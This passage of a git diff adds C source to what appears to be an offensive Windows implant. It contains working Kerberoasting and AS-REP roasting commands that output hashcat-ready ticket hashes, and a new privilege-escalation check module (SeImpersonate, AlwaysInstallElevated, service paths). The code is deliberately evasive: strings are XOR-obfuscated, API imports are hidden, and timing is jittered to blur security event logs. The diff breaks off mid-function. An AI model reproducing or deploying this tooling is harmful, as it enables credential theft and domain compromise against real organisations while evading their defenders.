+
+ /* LDAP: connect + bind with current token */
+ LDAP *ld = ldap_init(NULL, LDAP_PORT);
+ if (!ld)
+ {
+ CloseHandle(hLsa);
+ return snprintf(output_buf, output_size, "[-] ldap_init failed\n"), -1;
+ }
+
+ ULONG ldap_ver = LDAP_VERSION3;
+ ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ldap_ver);
+
+ if (ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE) != LDAP_SUCCESS)
+ {
+ ldap_unbind(ld);
+ CloseHandle(hLsa);
+ return snprintf(output_buf, output_size, "[-] ldap_bind failed (not domain joined?)\n"), -1;
+ }
+
+ char *base_dn = ldap_get_base_dn(ld);
+ if (!base_dn)
+ {
+ ldap_unbind(ld);
+ CloseHandle(hLsa);
+ return snprintf(output_buf, output_size, "[-] rootDSE query failed\n"), -1;
+ }
+
+ /* Find domain FQDN (= Kerberos realm, uppercase) */
+ char realm[256] = {0};
+ {
+ WCHAR dom[256] = {0};
+ DWORD dlen = 256;
+ _kcnexw(ComputerNameDnsDomain, dom, &dlen);
+ WideCharToMultiByte(CP_ACP, 0, dom, -1, realm, sizeof(realm) - 1, NULL, NULL);
+ for (char *p = realm; *p; p++)
+ *p = (char)toupper((unsigned char)*p);
+ }
+
+ /* LDAP search: users with SPN, exclude krbtgt and machine accounts */
+ char *attrs[] = {"sAMAccountName", "servicePrincipalName", NULL};
+ char *filter = "(&(objectCategory=user)(servicePrincipalName=*)"
+ "(!samAccountName=krbtgt)(!userAccountControl:1.2.840.113556.1.4.803:=2))";
+
+ LDAPMessage *res = NULL;
+ if (ldap_search_s(ld, base_dn, LDAP_SCOPE_SUBTREE, filter, attrs, 0, &res) != LDAP_SUCCESS)
+ {
+ free(base_dn);
+ ldap_unbind(ld);
+ CloseHandle(hLsa);
+ return snprintf(output_buf, output_size, "[-] LDAP search failed\n"), -1;
+ }
+ free(base_dn);
+
+ size_t pos = 0;
+ int found = 0;
+ int err_count = 0;
+
+ for (LDAPMessage *e = ldap_first_entry(ld, res); e; e = ldap_next_entry(ld, e))
+ {
+ char **sam = ldap_get_values(ld, e, "sAMAccountName");
+ char **spns = ldap_get_values(ld, e, "servicePrincipalName");
+ if (!sam || !sam[0] || !spns || !spns[0])
+ {
+ if (sam)
+ ldap_value_free(sam);
+ if (spns)
+ ldap_value_free(spns);
+ continue;
+ }
+
+ /* Request TGS for each SPN on this account */
+ for (int si = 0; spns[si]; si++)
+ {
+ /* Convert SPN to wide */
+ int wlen = MultiByteToWideChar(CP_ACP, 0, spns[si], -1, NULL, 0);
+ WCHAR *spn_w = (WCHAR *)malloc((size_t)wlen * sizeof(WCHAR));
+ if (!spn_w)
+ continue;
+ MultiByteToWideChar(CP_ACP, 0, spns[si], -1, spn_w, wlen);
+
+ /* Build LSA request */
+ size_t spn_bytes = (size_t)(wlen - 1) * sizeof(WCHAR);
+ size_t req_sz = sizeof(KERB_RETRIEVE_TKT_REQUEST) + spn_bytes + sizeof(WCHAR);
+ KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST *)calloc(1, req_sz);
+ if (!req)
+ {
+ free(spn_w);
+ continue;
+ }
+
+ req->MessageType = KerbRetrieveEncodedTicketMessage;
+ req->CacheOptions = KERB_RETRIEVE_TICKET_DONT_USE_CACHE; /* force new TGS-REQ to DC */
+ req->EncryptionType = etype;
+ req->TargetName.Buffer = (PWSTR)(req + 1);
+ req->TargetName.Length = (USHORT)spn_bytes;
+ req->TargetName.MaximumLength = (USHORT)(spn_bytes + sizeof(WCHAR));
+ memcpy(req->TargetName.Buffer, spn_w, spn_bytes);
+ free(spn_w);
+
+ PKERB_RETRIEVE_TKT_RESPONSE resp = NULL;
+ ULONG resp_sz = 0;
+ NTSTATUS sub = 0;
+ NTSTATUS st = fn_LsaCall(hLsa, pkg_id, req, (ULONG)req_sz,
+ (PVOID *)&resp, &resp_sz, &sub);
+ free(req);
+
+ if (st != STATUS_SUCCESS || !resp)
+ {
+ err_count++;
+ continue;
+ }
+
+ PKERB_EXTERNAL_TICKET tkt = &resp->Ticket;
+ if (!tkt->EncodedTicket || tkt->EncodedTicketSize == 0)
+ {
+ fn_LsaFree(resp);
+ err_count++;
+ continue;
+ }
+
+ /* Parse DER ticket → cipher bytes */
+ size_t cipher_len = 0;
+ const uint8_t *cipher = ticket_cipher(tkt->EncodedTicket,
+ tkt->EncodedTicketSize,
+ &cipher_len);
+ if (!cipher || cipher_len < 17)
+ {
+ fn_LsaFree(resp);
+ err_count++;
+ continue;
+ }
+
+ /* Emit hashcat line: $krb5tgs$$*$$*$$ */
+ int n;
+ {
+ char _kt[10];
+ _kt[0] = '$';
+ _kt[1] = 'k';
+ _kt[2] = 'r';
+ _kt[3] = 'b';
+ _kt[4] = '5';
+ _kt[5] = 't';
+ _kt[6] = 'g';
+ _kt[7] = 's';
+ _kt[8] = '$';
+ _kt[9] = '\0';
+ n = snprintf(output_buf + pos, output_size - pos,
+ "%s%d$*%s$%s$%s*$", _kt, etype, sam[0], realm, spns[si]);
+ }
+ pos += (n > 0) ? (size_t)n : 0;
+
+ hex_append(output_buf, output_size, &pos, cipher, 16);
+ if (pos < output_size - 1)
+ output_buf[pos++] = '$';
+ hex_append(output_buf, output_size, &pos, cipher + 16, cipher_len - 16);
+ if (pos < output_size - 1)
+ output_buf[pos++] = '\n';
+
+ fn_LsaFree(resp);
+ found++;
+ opsec_jitter(); /* OPSEC: space out 4769 events */
+ }
+
+ ldap_value_free(sam);
+ ldap_value_free(spns);
+ }
+
+ ldap_msgfree(res);
+ ldap_unbind(ld);
+ CloseHandle(hLsa);
+
+ if (found == 0 && pos == 0)
+ {
+ pos += snprintf(output_buf + pos, output_size - pos,
+ "[*] no roastable accounts (errors: %d)\n", err_count);
+ }
+ else if (err_count > 0)
+ {
+ pos += snprintf(output_buf + pos, output_size - pos,
+ "[*] %d accounts roasted, %d errors\n", found, err_count);
+ }
+
+ if (pos < output_size)
+ output_buf[pos] = '\0';
+ return (int)pos;
+}
+
+/* ── AS-REP roasting ─────────────────────────────────────────────────────── */
+
+/* Minimal DER builder — bottom-up into dynamic buffer */
+
+typedef struct
+{
+ uint8_t *d;
+ size_t cap;
+ size_t len;
+} derbuf_t;
+
+static void db_grow(derbuf_t *b, size_t extra)
+{
+ if (b->len + extra > b->cap)
+ {
+ b->cap = b->len + extra + 128;
+ uint8_t *tmp = (uint8_t *)realloc(b->d, b->cap);
+ if (!tmp)
+ {
+ free(b->d);
+ b->d = NULL;
+ b->len = 0;
+ b->cap = 0;
+ return;
+ }
+ b->d = tmp;
+ }
+}
+static void db_push(derbuf_t *b, const uint8_t *data, size_t n)
+{
+ db_grow(b, n);
+ if (!b->d)
+ return;
+ memcpy(b->d + b->len, data, n);
+ b->len += n;
+}
+
+/* Insert length prefix + tag before offset 'start' */
+static void db_wrap(derbuf_t *b, size_t start, uint8_t tag)
+{
+ size_t inner = b->len - start;
+ uint8_t lbuf[4];
+ int llen;
+ if (inner < 0x80)
+ {
+ lbuf[0] = (uint8_t)inner;
+ llen = 1;
+ }
+ else if (inner < 0x100)
+ {
+ lbuf[0] = 0x81;
+ lbuf[1] = (uint8_t)inner;
+ llen = 2;
+ }
+ else
+ {
+ lbuf[0] = 0x82;
+ lbuf[1] = (uint8_t)(inner >> 8);
+ lbuf[2] = (uint8_t)inner;
+ llen = 3;
+ }
+ db_grow(b, 1 + llen);
+ memmove(b->d + start + 1 + llen, b->d + start, inner);
+ b->d[start] = tag;
+ memcpy(b->d + start + 1, lbuf, llen);
+ b->len += 1 + llen;
+}
+
+/* Encode DER INTEGER (positive, minimal) */
+static void db_integer(derbuf_t *b, uint32_t val)
+{
+ uint8_t tmp[5];
+ int n = 0;
+ if (val == 0)
+ {
+ tmp[n++] = 0;
+ }
+ else
+ {
+ uint32_t v = val;
+ uint8_t bytes[4];
+ int nb = 0;
+ while (v)
+ {
+ bytes[nb++] = (uint8_t)(v & 0xff);
+ v >>= 8;
+ }
+ /* big-endian, ensure no sign confusion */
+ for (int i = nb - 1; i >= 0; i--)
+ tmp[n++] = bytes[i];
+ if (tmp[0] & 0x80)
+ {
+ memmove(tmp + 1, tmp, n);
+ tmp[0] = 0;
+ n++;
+ } /* prepend 0x00 */
+ }
+ size_t s = b->len;
+ db_push(b, tmp, n);
+ db_wrap(b, s, 0x02); /* INTEGER */
+}
+
+/* Encode DER GeneralString */
+static void db_genstr(derbuf_t *b, const char *s)
+{
+ size_t start = b->len;
+ db_push(b, (const uint8_t *)s, strlen(s));
+ db_wrap(b, start, 0x1b); /* GeneralString */
+}
+
+/* Encode DER GeneralizedTime (KerberosTime) */
+static void db_ktime(derbuf_t *b, const char *ts)
+{
+ size_t start = b->len;
+ db_push(b, (const uint8_t *)ts, strlen(ts));
+ db_wrap(b, start, 0x18); /* GeneralizedTime */
+}
+
+/*
+ * Build a minimal Kerberos AS-REQ DER blob (no pre-auth) for a given
+ * username + realm + etype. Returns malloc'd buffer, caller free()s.
+ * Sets *out_len on success.
+ */
+static uint8_t *build_asreq(const char *username, const char *realm,
+ int etype, uint32_t nonce, size_t *out_len)
+{
+ derbuf_t b = {0};
+
+ /* ── req-body ────────────────────────────────────────────────────────── */
+ size_t rb_start = b.len;
+ {
+ /* kdc-options [0] BIT STRING: forwardable(1) | renewable-ok(27)
+ = 0x40000010 in MSB-first 32-bit field.
+ BIT STRING: 03 05 00 40 00 00 10 */
+ size_t s = b.len;
+ uint8_t ks[] = {0x03, 0x05, 0x00, 0x40, 0x00, 0x00, 0x10};
+ db_push(&b, ks, sizeof(ks));
+ db_wrap(&b, s, 0xa0); /* [0] */
+
+ /* cname [1] PrincipalName */
+ {
+ size_t cn = b.len;
+ {
+ size_t pn = b.len;
+ /* name-type [0] INTEGER 1 (NT-PRINCIPAL) */
+ {
+ size_t ss = b.len;
+ db_integer(&b, 1);
+ db_wrap(&b, ss, 0xa0);
+ }
+ /* name-string [1] SEQUENCE OF GeneralString { username } */
+ {
+ size_t ns = b.len;
+ {
+ size_t ss = b.len;
+ db_genstr(&b, username);
+ size_t ss2 = b.len;
+ (void)ss2;
+ db_wrap(&b, ss, 0x30);
+ }
+ db_wrap(&b, ns, 0xa1);
+ }
+ db_wrap(&b, pn, 0x30); /* PrincipalName SEQUENCE */
+ }
+ db_wrap(&b, cn, 0xa1); /* [1] */
+ }
+
+ /* realm [2] GeneralString */
+ {
+ size_t s2 = b.len;
+ db_genstr(&b, realm);
+ db_wrap(&b, s2, 0xa2);
+ }
+
+ /* sname [3] PrincipalName { NT-SRV-INST=2, "krbtgt", realm } */
+ {
+ size_t sn = b.len;
+ {
+ size_t pn = b.len;
+ {
+ size_t ss = b.len;
+ db_integer(&b, 2);
+ db_wrap(&b, ss, 0xa0);
+ }
+ {
+ size_t ns = b.len;
+ {
+ size_t ss = b.len;
+ db_genstr(&b, "krbtgt");
+ db_wrap(&b, ss, 0x30);
+ }
+ {
+ size_t ss = b.len;
+ db_genstr(&b, realm);
+ db_wrap(&b, ss, 0x30);
+ }
+ /* Both strings in one SEQUENCE OF */
+ size_t inner = b.len - ns;
+ uint8_t *tmp = (uint8_t *)malloc(inner > 0 ? inner : 1);
+ if (!tmp)
+ {
+ free(b.d);
+ return NULL;
+ }
+ memcpy(tmp, b.d + ns, inner);
+ b.len = ns;
+ size_t sq = b.len;
+ db_push(&b, tmp, inner);
+ free(tmp);
+ db_wrap(&b, sq, 0x30);
+ db_wrap(&b, ns, 0xa1);
+ }
+ db_wrap(&b, pn, 0x30);
+ }
+ db_wrap(&b, sn, 0xa3); /* [3] */
+ }
+
+ /* till [5] "99991231235959Z" */
+ {
+ size_t s2 = b.len;
+ db_ktime(&b, "99991231235959Z");
+ db_wrap(&b, s2, 0xa5);
+ }
+
+ /* nonce [7] */
+ {
+ size_t s2 = b.len;
+ db_integer(&b, nonce);
+ db_wrap(&b, s2, 0xa7);
+ }
+
+ /* etype [8] SEQUENCE OF INTEGER */
+ {
+ size_t et = b.len;
+ {
+ size_t ss = b.len;
+ db_integer(&b, (uint32_t)etype);
+ db_wrap(&b, ss, 0x30);
+ }
+ db_wrap(&b, et, 0xa8);
+ }
+
+ db_wrap(&b, rb_start, 0x30); /* KDC-REQ-BODY SEQUENCE */
+ }
+ db_wrap(&b, rb_start, 0xa4); /* req-body [4] */
+
+ /* ── msg-type [2] INTEGER 10, pvno [1] INTEGER 5 ─ prepend ── */
+ /* Prepend in reverse order so they appear first */
+ {
+ derbuf_t front = {0};
+ {
+ size_t s = front.len;
+ db_integer(&front, 5);
+ db_wrap(&front, s, 0xa1);
+ }
+ {
+ size_t s = front.len;
+ db_integer(&front, 10);
+ db_wrap(&front, s, 0xa2);
+ }
+ db_grow(&b, front.len);
+ memmove(b.d + front.len, b.d, b.len);
+ memcpy(b.d, front.d, front.len);
+ b.len += front.len;
+ free(front.d);
+ }
+
+ /* ── Wrap: SEQUENCE then APPLICATION 10 ── */
+ db_wrap(&b, 0, 0x30); /* KDC-REQ SEQUENCE */
+ db_wrap(&b, 0, 0x6a); /* APPLICATION 10 */
+
+ *out_len = b.len;
+ return b.d;
+}
+
+/* Parse AS-REP: extract enc-part cipher for hashcat format
+ * AS-REP DER: [APPLICATION 11] 0x6b
+ * SEQUENCE
+ * [0] pvno
+ * [1] msg-type
+ * [2] padata (optional)
+ * [3] crealm
+ * [4] cname
+ * [5] ticket
+ * [6] enc-part EncryptedData <── we want this
+ */
+static const uint8_t *asrep_cipher(const uint8_t *buf, size_t len, size_t *cipher_len)
+{
+ size_t off = 0;
+ uint8_t tag;
+ const uint8_t *v;
+ size_t vl;
+
+ /* APPLICATION 11 */
+ if (der_next(buf, len, &off, &tag, &v, &vl) || tag != 0x6b)
+ return NULL;
+
+ /* Find SEQUENCE wrapper */
+ const uint8_t *seq;
+ size_t seq_len;
+ seq = der_find(v, vl, 0x30, &seq_len);
+ if (!seq)
+ return NULL;
+
+ /* [6] enc-part */
+ const uint8_t *enc;
+ size_t enc_len;
+ enc = der_find(seq, seq_len, 0xa6, &enc_len);
+ if (!enc)
+ return NULL;
+
+ /* EncryptedData SEQUENCE */
+ const uint8_t *eseq;
+ size_t eseq_len;
+ eseq = der_find(enc, enc_len, 0x30, &eseq_len);
+ if (!eseq)
+ return NULL;
+
+ /* [2] cipher OCTET STRING */
+ const uint8_t *ctx2;
+ size_t ctx2_len;
+ ctx2 = der_find(eseq, eseq_len, 0xa2, &ctx2_len);
+ if (!ctx2)
+ return NULL;
+
+ const uint8_t *ostr;
+ size_t ostr_len;
+ ostr = der_find(ctx2, ctx2_len, 0x04, &ostr_len);
+ if (!ostr || ostr_len < 17)
+ return NULL;
+
+ *cipher_len = ostr_len;
+ return ostr;
+}
+
+/* Send AS-REQ to KDC:88 via TCP, return malloc'd response. *resp_len set. */
+static uint8_t *send_asreq(const char *dc_host, const uint8_t *asreq, size_t asreq_len,
+ size_t *resp_len)
+{
+ WSADATA wsa;
+ WSAStartup(MAKEWORD(2, 2), &wsa);
+
+ struct addrinfo hints = {0}, *ai = NULL;
+ hints.ai_socktype = SOCK_STREAM;
+ hints.ai_family = AF_UNSPEC;
+ if (getaddrinfo(dc_host, "88", &hints, &ai) != 0)
+ return NULL;
+
+ SOCKET s = socket(ai->ai_family, SOCK_STREAM, IPPROTO_TCP);
+ if (s == INVALID_SOCKET)
+ {
+ freeaddrinfo(ai);
+ return NULL;
+ }
+
+ /* 5-second connect timeout */
+ DWORD timeout = 5000;
+ setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
+ setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
+
+ if (connect(s, ai->ai_addr, (int)ai->ai_addrlen) != 0)
+ {
+ freeaddrinfo(ai);
+ closesocket(s);
+ return NULL;
+ }
+ freeaddrinfo(ai);
+
+ /* TCP Kerberos framing: 4-byte BE length prefix */
+ uint8_t len_hdr[4];
+ len_hdr[0] = (uint8_t)(asreq_len >> 24);
+ len_hdr[1] = (uint8_t)(asreq_len >> 16);
+ len_hdr[2] = (uint8_t)(asreq_len >> 8);
+ len_hdr[3] = (uint8_t)(asreq_len);
+
+ if (send(s, (char *)len_hdr, 4, 0) != 4 ||
+ send(s, (char *)asreq, (int)asreq_len, 0) != (int)asreq_len)
+ {
+ closesocket(s);
+ return NULL;
+ }
+
+ /* Read 4-byte response length */
+ uint8_t rlen_buf[4] = {0};
+ int nr = recv(s, (char *)rlen_buf, 4, MSG_WAITALL);
+ if (nr != 4)
+ {
+ closesocket(s);
+ return NULL;
+ }
+ size_t rlen = ((size_t)rlen_buf[0] << 24) | ((size_t)rlen_buf[1] << 16) |
+ ((size_t)rlen_buf[2] << 8) | (size_t)rlen_buf[3];
+
+ if (rlen == 0 || rlen > 65536)
+ {
+ closesocket(s);
+ return NULL;
+ }
+
+ uint8_t *resp = (uint8_t *)malloc(rlen);
+ if (!resp)
+ {
+ closesocket(s);
+ return NULL;
+ }
+
+ size_t got = 0;
+ while (got < rlen)
+ {
+ int n = recv(s, (char *)resp + got, (int)(rlen - got), 0);
+ if (n <= 0)
+ break;
+ got += n;
+ }
+ closesocket(s);
+
+ if (got != rlen)
+ {
+ free(resp);
+ return NULL;
+ }
+ *resp_len = rlen;
+ return resp;
+}
+
+int cmd_asreproast(const char *args, char *output_buf, size_t output_size)
+{
+ (void)args;
+
+ /* Get domain FQDN (= realm) */
+ char realm[256] = {0};
+ {
+ WCHAR dom[256] = {0};
+ DWORD dlen = 256;
+ _kcnexw(ComputerNameDnsDomain, dom, &dlen);
+ WideCharToMultiByte(CP_ACP, 0, dom, -1, realm, sizeof(realm) - 1, NULL, NULL);
+ for (char *p = realm; *p; p++)
+ *p = (char)toupper((unsigned char)*p);
+ }
+
+ /* Get DC hostname — DsGetDcNameW loaded dynamically (removes NETAPI32 IAT entry) */
+ char dc_host[512] = {0};
+ {
+ typedef DWORD(WINAPI * DsGDCN_t)(LPCWSTR, LPCWSTR, GUID *, LPCWSTR, ULONG, DOMAIN_CONTROLLER_INFOW **);
+ static DsGDCN_t _fn = NULL;
+ if (!_fn)
+ {
+ char fs[16], ds[16];
+ volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_fn_DsGetDcNameW); _i++)
+ fs[_i] = (char)(EVS_fn_DsGetDcNameW[_i] ^ _k);
+ fs[sizeof(EVS_fn_DsGetDcNameW)] = '\0';
+ for (int _i = 0; _i < (int)sizeof(EVS_dll_netapi32); _i++)
+ ds[_i] = (char)(EVS_dll_netapi32[_i] ^ _k);
+ ds[sizeof(EVS_dll_netapi32)] = '\0';
+ HMODULE _h = LoadLibraryA(ds);
+ SecureZeroMemory(ds, sizeof(ds));
+ if (_h)
+ _fn = (DsGDCN_t)(void *)GetProcAddress(_h, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ DOMAIN_CONTROLLER_INFOW *dci = NULL;
+ if (_fn && _fn(NULL, NULL, NULL, NULL, DS_DIRECTORY_SERVICE_REQUIRED, &dci) == NO_ERROR && dci && dci->DomainControllerName)
+ {
+ /* DomainControllerName = \\dcname — skip the \\ */
+ WCHAR *p = dci->DomainControllerName;
+ while (*p == L'\\')
+ p++;
+ WideCharToMultiByte(CP_ACP, 0, p, -1, dc_host, sizeof(dc_host) - 1, NULL, NULL);
+ NetApiBufferFree(dci);
+ }
+ }
+ if (!dc_host[0])
+ return snprintf(output_buf, output_size, "[-] DsGetDcName failed\n"), -1;
+
+ /* LDAP: find accounts with DONT_REQUIRE_PREAUTH */
+ LDAP *ld = ldap_init(NULL, LDAP_PORT);
+ if (!ld)
+ return snprintf(output_buf, output_size, "[-] ldap_init failed\n"), -1;
+
+ ULONG ldap_ver = LDAP_VERSION3;
+ ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ldap_ver);
+
+ if (ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE) != LDAP_SUCCESS)
+ {
+ ldap_unbind(ld);
+ return snprintf(output_buf, output_size, "[-] ldap_bind failed\n"), -1;
+ }
+
+ char *base_dn = ldap_get_base_dn(ld);
+ if (!base_dn)
+ {
+ ldap_unbind(ld);
+ return snprintf(output_buf, output_size, "[-] rootDSE failed\n"), -1;
+ }
+
+ char *attrs[] = {"sAMAccountName", NULL};
+ /* UAC bit 0x400000 = DONT_REQUIRE_PREAUTH */
+ char *filter = "(&(objectCategory=user)"
+ "(userAccountControl:1.2.840.113556.1.4.803:=4194304)"
+ "(!userAccountControl:1.2.840.113556.1.4.803:=2))";
+
+ LDAPMessage *res = NULL;
+ if (ldap_search_s(ld, base_dn, LDAP_SCOPE_SUBTREE, filter, attrs, 0, &res) != LDAP_SUCCESS)
+ {
+ free(base_dn);
+ ldap_unbind(ld);
+ return snprintf(output_buf, output_size, "[-] LDAP search failed\n"), -1;
+ }
+ free(base_dn);
+
+ size_t pos = 0;
+ int found = 0;
+
+ /* Seed nonce from time */
+ srand((unsigned)GetTickCount());
+
+ for (LDAPMessage *e = ldap_first_entry(ld, res); e; e = ldap_next_entry(ld, e))
+ {
+ char **sam = ldap_get_values(ld, e, "sAMAccountName");
+ if (!sam || !sam[0])
+ {
+ if (sam)
+ ldap_value_free(sam);
+ continue;
+ }
+
+ uint32_t nonce = (uint32_t)rand() ^ ((uint32_t)GetTickCount() << 16);
+
+ size_t asreq_len = 0;
+ uint8_t *asreq = build_asreq(sam[0], realm, KERB_ETYPE_RC4_HMAC_NT,
+ nonce, &asreq_len);
+ if (!asreq)
+ {
+ ldap_value_free(sam);
+ continue;
+ }
+
+ size_t resp_len = 0;
+ uint8_t *resp = send_asreq(dc_host, asreq, asreq_len, &resp_len);
+ free(asreq);
+
+ if (!resp)
+ {
+ ldap_value_free(sam);
+ opsec_jitter();
+ continue;
+ }
+
+ /* resp[0] should be 0x6b (APPLICATION 11 = AS-REP)
+ If 0x7e (APPLICATION 30 = KRB-ERROR) account requires pre-auth */
+ if (resp_len > 0 && resp[0] == 0x6b)
+ {
+ size_t cipher_len = 0;
+ const uint8_t *cipher = asrep_cipher(resp, resp_len, &cipher_len);
+ if (cipher && cipher_len >= 17)
+ {
+ /* $krb5asrep$23$user@REALM$$ */
+ int n;
+ {
+ char _ka[12];
+ _ka[0] = '$';
+ _ka[1] = 'k';
+ _ka[2] = 'r';
+ _ka[3] = 'b';
+ _ka[4] = '5';
+ _ka[5] = 'a';
+ _ka[6] = 's';
+ _ka[7] = 'r';
+ _ka[8] = 'e';
+ _ka[9] = 'p';
+ _ka[10] = '$';
+ _ka[11] = '\0';
+ n = snprintf(output_buf + pos, output_size - pos,
+ "%s23$%s@%s$", _ka, sam[0], realm);
+ }
+ pos += (n > 0) ? (size_t)n : 0;
+ hex_append(output_buf, output_size, &pos, cipher, 16);
+ if (pos < output_size - 1)
+ output_buf[pos++] = '$';
+ hex_append(output_buf, output_size, &pos, cipher + 16, cipher_len - 16);
+ if (pos < output_size - 1)
+ output_buf[pos++] = '\n';
+ found++;
+ }
+ }
+
+ free(resp);
+ ldap_value_free(sam);
+ opsec_jitter();
+ }
+
+ ldap_msgfree(res);
+ ldap_unbind(ld);
+
+ if (found == 0 && pos == 0)
+ pos += snprintf(output_buf + pos, output_size - pos,
+ "[*] no AS-REP roastable accounts found\n");
+
+ if (pos < output_size)
+ output_buf[pos] = '\0';
+ return (int)pos;
+}
diff --git a/agent/src/commands/lpe_check.c b/agent/src/commands/lpe_check.c
new file mode 100644
index 0000000..df13441
--- /dev/null
+++ b/agent/src/commands/lpe_check.c
@@ -0,0 +1,412 @@
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+
+typedef BOOL (WINAPI *fn_CredEnum_t)(LPCSTR, DWORD, DWORD *, void ***);
+typedef VOID (WINAPI *fn_CredFree_t)(PVOID);
+
+/* CREDENTIAL layout */
+typedef struct {
+ DWORD Flags;
+ DWORD Type;
+ LPSTR TargetName;
+ LPSTR Comment;
+ FILETIME LastWritten;
+ DWORD CredentialBlobSize;
+ LPBYTE CredentialBlob;
+ DWORD Persist;
+ DWORD AttributeCount;
+ PVOID Attributes;
+ LPSTR TargetAlias;
+ LPSTR UserName;
+} CRED_A;
+
+/* impersonation token required by AccessCheck */
+static HANDLE _dup_imp(void)
+{
+ const adv_api_t *adv = adv_get();
+ HANDLE h = NULL, hi = NULL;
+ if (!adv->OpenProcessToken ||
+ !adv->OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE|TOKEN_QUERY, &h))
+ return NULL;
+ SECURITY_ATTRIBUTES sa = {sizeof(sa)};
+ if (adv->DuplicateTokenEx)
+ adv->DuplicateTokenEx(h, TOKEN_ALL_ACCESS, &sa,
+ SecurityImpersonation, TokenImpersonation, &hi);
+ CloseHandle(h);
+ return hi;
+}
+
+/* returns 1 if current user can write to path (file or dir) */
+static int _can_write(const char *path, HANDLE himp)
+{
+ if (!himp) return 0;
+ PSECURITY_DESCRIPTOR pSD = NULL;
+ DWORD err = GetNamedSecurityInfoA((LPSTR)path, SE_FILE_OBJECT,
+ DACL_SECURITY_INFORMATION|OWNER_SECURITY_INFORMATION|GROUP_SECURITY_INFORMATION,
+ NULL, NULL, NULL, NULL, &pSD);
+ if (err != ERROR_SUCCESS) return 0;
+ DWORD mask = FILE_WRITE_DATA | FILE_APPEND_DATA;
+ GENERIC_MAPPING gm = {FILE_GENERIC_READ, FILE_GENERIC_WRITE,
+ FILE_GENERIC_EXECUTE, FILE_ALL_ACCESS};
+ MapGenericMask(&mask, &gm);
+ PRIVILEGE_SET ps; DWORD ps_sz = sizeof(ps);
+ DWORD granted = 0; BOOL ok = FALSE;
+ AccessCheck(pSD, himp, mask, &gm, &ps, &ps_sz, &granted, &ok);
+ LocalFree(pSD);
+ return ok ? 1 : 0;
+}
+
+/* append-safe snprintf wrapper */
+#define APPF(buf, off, sz, ...) \
+ do { int _n = snprintf((buf)+*(off), (sz)-*(off), __VA_ARGS__); \
+ if (_n > 0) *(off) += (size_t)_n; } while(0)
+
+/* ------------------------------------------------------------------ */
+/* 1. SeImpersonatePrivilege */
+/* ------------------------------------------------------------------ */
+
+static void _chk_seimpersonate(char *out, size_t *off, size_t sz)
+{
+ const adv_api_t *adv = adv_get();
+ HANDLE h = NULL;
+ if (!adv->OpenProcessToken ||
+ !adv->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &h)) return;
+ DWORD need = 0;
+ GetTokenInformation(h, TokenPrivileges, NULL, 0, &need);
+ TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(need);
+ if (!tp) { CloseHandle(h); return; }
+ if (GetTokenInformation(h, TokenPrivileges, tp, need, &need)) {
+ for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
+ char name[64] = {0}; DWORD nl = sizeof(name);
+ if (adv->LookupPrivilegeNameA)
+ adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nl);
+ char _sp[24]; { volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
+ _sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
+ _sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0'; }
+ if (_stricmp(name, _sp) == 0) {
+ BOOL en = (tp->Privileges[i].Attributes &
+ (SE_PRIVILEGE_ENABLED|SE_PRIVILEGE_ENABLED_BY_DEFAULT)) != 0;
+ APPF(out, off, sz, "[SeImpersonate] %s%s\n",
+ en ? "ENABLED" : "present/disabled",
+ en ? " → gs (pipe impersonation)" : "");
+ free(tp); CloseHandle(h); return;
+ }
+ }
+ }
+ free(tp); CloseHandle(h);
+ APPF(out, off, sz, "[SeImpersonate] not held\n");
+}
+
+/* ------------------------------------------------------------------ */
+/* 2. AlwaysInstallElevated */
+/* ------------------------------------------------------------------ */
+
+static void _chk_aie(char *out, size_t *off, size_t sz)
+{
+ /* Decode registry path + value name from EVS to avoid plaintext in .rdata */
+ volatile unsigned char _k = EVS_KEY;
+ char _rp[52], _rv[22];
+ for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
+ _rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
+ _rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
+ for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
+ _rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
+ _rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
+
+ DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
+ RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
+ cb = sizeof(DWORD);
+ RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
+ SecureZeroMemory(_rp, sizeof(_rp)); SecureZeroMemory(_rv, sizeof(_rv));
+
+ if (hklm == 1 && hkcu == 1) {
+ char _t1[] = {'[','A','I','E',']',' ','V','U','L','N','E','R','A','B','L','E',
+ ' ','(','H','K','L','M','+','H','K','C','U','=','1',')','\n',0};
+ APPF(out, off, sz, "%s", _t1);
+ } else
+ APPF(out, off, sz, "[AIE] not set (HKLM=%lu HKCU=%lu)\n", hklm, hkcu);
+}
+
+/* ------------------------------------------------------------------ */
+/* 3 & 4. Service checks (unquoted paths + writable binaries) */
+/* Opens SCM once, does both checks in one pass. */
+/* ------------------------------------------------------------------ */
+
+static void _extract_bin(const char *path, char *bin, size_t bin_sz)
+{
